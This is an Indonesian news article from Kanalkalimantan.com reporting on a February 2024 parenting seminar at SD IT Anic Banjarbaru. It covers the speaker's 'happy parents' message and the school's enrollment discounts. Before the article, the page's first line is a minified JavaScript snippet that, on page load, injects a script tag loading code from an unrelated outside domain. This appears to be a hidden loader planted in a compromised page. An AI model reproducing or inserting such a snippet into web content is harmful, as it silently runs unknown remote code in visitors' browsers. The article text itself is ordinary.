(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pendidikan

Sadarkan Orangtua akan “Happy Parents” Sebelum Anak Masuk Sekolah

KANALKALIMANTAN.COM, BANJARBARU – Ratusan orangtua berkumpul dalam kegiatan tatap muka bertajuk seminar parenting “Strategi Mempersiapkan Anak Memasuki SD dengan Bahagia”, yang diselenggarakan oleh SD IT Anic Banjarbaru, Sabtu (24/2/2024) siang.

Di ruang yang diisi oleh sedikitnya 100 orangtua, mereka yang didominasi perempuan muda ini belajar sekaligus berbagi pengalaman menjadi ibu dalam mengurus anak dan keluarga.

Terutama dalam hal mempersiapkan anak untuk dapat melanjutkan sekolahnya. Mereka pun datang menambah ilmu sembari ‘curhat’ mengenai dunia parenting.

Diskusi ini diisi oleh narasumber seorang Praktisi Parenting dan Keluarga dari Banjarmasin, Rimalia Karim, S.KM, MM dan dimoderatori oleh Nurul Azkia salah satu pengajar di SD IT Anic Banjarbaru.

Rimalia mengatakan, pekerjaan rumah atau PR bagi orangtua agar anak bisa melanjutkan pendidikan bukan hanya sekAdar persiapan materi belaka.

“Bukan hanya terkait siap atau tidaknya namun juga happy parentsnya, karena happy parents for happy kids,” ujar Rimalia Karim.

Kadang-kadang, katanya, para orangtua hanya fokus pada pemberian perlengkapan sekolah. Seakan-akan persiapan hanya diukur dari segi materi saja.

“Padahal ada begitu banyak hal, misalnya bagaimana mempersiapkan mental anak, sisi emosional anak, bagaimana orangtua menilai anaknya sendiri, tentu harus dimulai dari happy parents,” sambung dia.

Rimalia menekankan terkait pentingnya kesehatan hati dan pikiran orangtua sehingga dapat membawa kebahagian bagi keluarga, termasuk anak-anak.

“Karena sejatinya orangtua baru bisa mencintai anak sepenuhnya, siap berkorban, berkontribusi, dan sanggup menjadi orang dewasa dalam arti sesungguhnya tanpa mengabaikan sisi empati jika dia bahagia, jika hatinya sehat,” jelas Rimalia.

Itu lah alasan dia berdiri di hadapan ratusan orangtua untuk memberikan kesadaran terkait apa yang membuat orangtua tidak mampu berkontribusi dan mencintai anak dan keluarganya.

“Kita ingin orangtua mengenali jangan-jangan luka pengasuhannya lah yang membuat mereka tidak mampu berkontribusi dan mencintai anak sepanjang usia kehidupan mereka,” tuntas dia.

Sementara itu, Ketua Pelaksana Siti Nursayyidah mengatakan, kegiatan ini dilakukan dalam rangka menarik minat orangtua di Kota Banjarbaru agar siap dan tidak takut untuk melanjutkan pendidikan anaknya ke jenjang sekolah dasar.

“Kami mendatangkan beliau ke sini sekaligus juga untuk memperkenalkan SD IT Anic Banjarbaru, mencoba promosi dengan cara seminar langsung kepada orang tua,” ujar Siti Nursayyidah.

Sebab SD IT Anic Banjarbaru sendiri, kata dia, punya tiga program yang jarang dimiliki oleh sekolah-sekolah lain. Seperti program unggulan tahfizd, public speaking, dan pembelajaran khusus bahasa Inggris.

Setiap peserta orangtua yang hadir dalam acara seminar, mendapatkan satu voucher diskon Rp1 juta untuk Penerimaan Peserta Didik Baru (PPDB) di SD IT Anic Banjarbaru.

Nurul Azkia menambahkan bahwa, PPDB di SD IT Anic Banjarbaru ini pun sudah mulai sejak bulan Desember, di mana bagi pendaftar dari bulan Desember-Februari dapat potongan harga sebesar 50 persen.

“Kemudian untuk pendaftar di bulan Maret-Mei bisa dapat potongan sebesar 25 persen,” tuntas dia.

Di akhir ia berharap SD IT Anic Banjarbaru dapat menjadi pilihan orangtua untuk dapat melanjutkan pendidikan anak-anaknya ke jenjang yang lebih baik. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie